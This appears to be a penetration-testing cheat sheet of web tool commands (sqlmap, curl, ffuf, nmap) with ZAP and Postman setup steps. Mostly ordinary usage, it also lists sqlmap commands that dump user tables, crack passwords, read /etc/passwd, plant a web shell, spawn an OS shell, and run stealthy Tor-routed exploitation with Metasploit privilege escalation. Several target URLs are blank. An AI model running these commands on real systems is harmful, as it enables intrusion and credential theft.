Comment on page

Web Tools

sqlmap and ZAP auth/cookie integration
  1. 1.
    Open ZAP and login in to target application
  2. 2.
    Visit request that contains authenticated cookie
  3. 3.
    Copy the cookie value in the request tab
  4. 4.
    Run sqlmap command with cookie and proxy included
Example uses for the field:
Proxy sqlmap through ZAP with custom user agent "bughunter"
sqlmap -u "" --cookie="currentZAPcookie" --proxy --batch --user-agent bughunter
Searching for the word "pass"
sqlmap -u "" --cookie="currentZAPcookie" --proxy -D db_name --search -C pass --batch
curl -h
curl help menu
Basic GET request
curl -s -O
Download file
curl -k
Skip HTTPS (SSL) certificate validation
curl -v
Print full HTTP request/response details
curl -I
Send HEAD request (only prints response headers)
curl -i
Print response headers and response body
curl -A 'Mozilla/5.0'
Set User-Agent header
curl -u admin:admin http://<SERVER_IP>:<PORT>/
Set HTTP basic authorization credentials
curl http://admin:admin@<SERVER_IP>:<PORT>/
Pass HTTP basic authorization credentials in the URL
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/
Set request header
curl 'http://<SERVER_IP>:<PORT>/search.php?search=le'
Pass GET parameters
curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/
Send POST request with POST data
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/
Set request cookies
curl -X POST -d '{"search":"london"}' -H 'Content-Type: application/json' http://<SERVER_IP>:<PORT>/search.php
Send POST request with JSON data
curl -s{domain} | jq -r '.[]' | sort -u
All subdomains for a given domain.
curl -s{domain} | jq -r '.[]' | sort -u
All TLDs found for a given domain.
curl -s{domain} | jq -r '.[]' | sort -u
All results across all TLDs for a given domain.
curl -s{ip} | jq -r '.[]' | sort -u
Reverse DNS lookup on IP address.
curl -s{ip}/{mask} | jq -r '.[]' | sort -u
Reverse DNS lookup of a CIDR range.
curl -s "${TARGET}&output=json" | jq -r '.[] | "\(.name_value)\n\(.common_name)"' | sort -u
Certificate Transparency.
ffuf -h
ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ
Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ
Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php
Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v
Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u
Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host:' -fs xxx
VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u -fs xxx
Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx
Value Fuzzing
ffuf -w ./vhosts -u http:// -H "HOST:" -fs 612
Bruteforcing for possible virtual hosts on the target domain using ffuf.
ffuf -recursion -recursion-depth 1 -u -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
Discovering files and folders that cannot be spotted by browsing the website.
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u
Mutated bruteforcing


Scan a port with Nmap via proxy with the -Pn flag to skip host discovery and scripts
nmap --proxies SERVER_IP -pPORT -Pn -sC


sqlmap -h
View the basic help menu
sqlmap -hh
View the advanced help menu
sqlmap -u "" --batch
Run SQLMap without asking for user input
sqlmap '' --data 'uid=1&name=test'
SQLMap with POST request
sqlmap -u '' --data '{"User":"abcdefg","Pwd":"Abc@123"}' --random-agent --ignore-code=403 --dbs --hex
SQLMap POST with JSON data
sqlmap '' --data 'uid=1*&name=test'
POST request specifying an injection point with an asterisk
sqlmap -r req.txt
Passing an HTTP request file to SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
Specifying a cookie header
sqlmap -u --data='id=1' --method PUT
Specifying a PUT request
sqlmap -u "" --batch -t /tmp/traffic.txt
Store traffic to an output file
sqlmap -u "" -v 6 --batch
Specify verbosity level
sqlmap -u "" --prefix="%'))" --suffix="-- -"
Specifying a prefix or suffix
sqlmap -u -v 3 --level=5
Specifying the level and risk
sqlmap -u "" --banner --current-user --current-db --is-dba
Basic DB enumeration
sqlmap -u "" --tables -D testdb
Table enumeration
sqlmap -u "" --dump -T users -D testdb -C name,surname
Table/row enumeration
sqlmap -u "" --dump -T users -D testdb --where="name LIKE 'f%'"
Conditional enumeration
sqlmap -u "" --schema
Database schema enumeration
sqlmap -u "" --search -T user
Searching for data
sqlmap -u "" --passwords --batch
Password enumeration and cracking
sqlmap -u "" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
Anti-CSRF token bypass
sqlmap --list-tampers
List all tamper scripts
sqlmap -u "" --is-dba
Check for DBA privileges
sqlmap -u "" --file-read "/etc/passwd"
Reading a local file
sqlmap -u "" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
Writing a file
sqlmap -u "" --os-shell
Spawning an OS shell

Additional SQLmap uses

CTF (fast, but it's noisy)
sqlmap --random-agent -u <ADD_TARGET_REPLACE_THIS> --crawl 10 --all --level=5 --risk=3 -f --beep --output-dir=. -o --no-cast --batch --check-internet --tamper=space2comment,randomcase,between
Stealth (stealthy, but slow at the same time)
sqlmap --random-agent --crawl=10 -u <ADD_TARGET_REPLACE_THIS> --tor --check-tor --all --level=5 --risk=2 -f --beep --force-ssl --output-dir=. -o --tamper=space2comment,randomcase,between --no-cast --batch --check-internet --force-ssl
stealth + OS access (same as above, but this can attempt to access the OS with metasploit if an exploit is found)
sqlmap --random-agent -u <ADD_TARGET_REPLACE_THIS> --tor --check-tor --all --os-pwn --msf-path=/opt/metasploit-framework/ --priv-esc --level=5 --risk=2 -f --beep --force-ssl --output-dir=. -o --tamper=space2comment --no-cast --batch --check-internet
  1. 1.
    Set manual upstream proxy (Burp/ZAP)
  2. 2.
    Save first successful request as new collection
  3. 3.
    Highlight base URL and right-click "set as variable" and select collection scope
  4. 4.
    Set other common URLs for testing as different variables
  5. 5.
    Verify new variables by hovering over Collection>"more actions" dropdown menu> Variables tab
Query Parameters
  1. 1.
    Name and Save new request to corresponding collection
(Optional) Modify key and value pair {{baseURL}}?key=value
Path Variables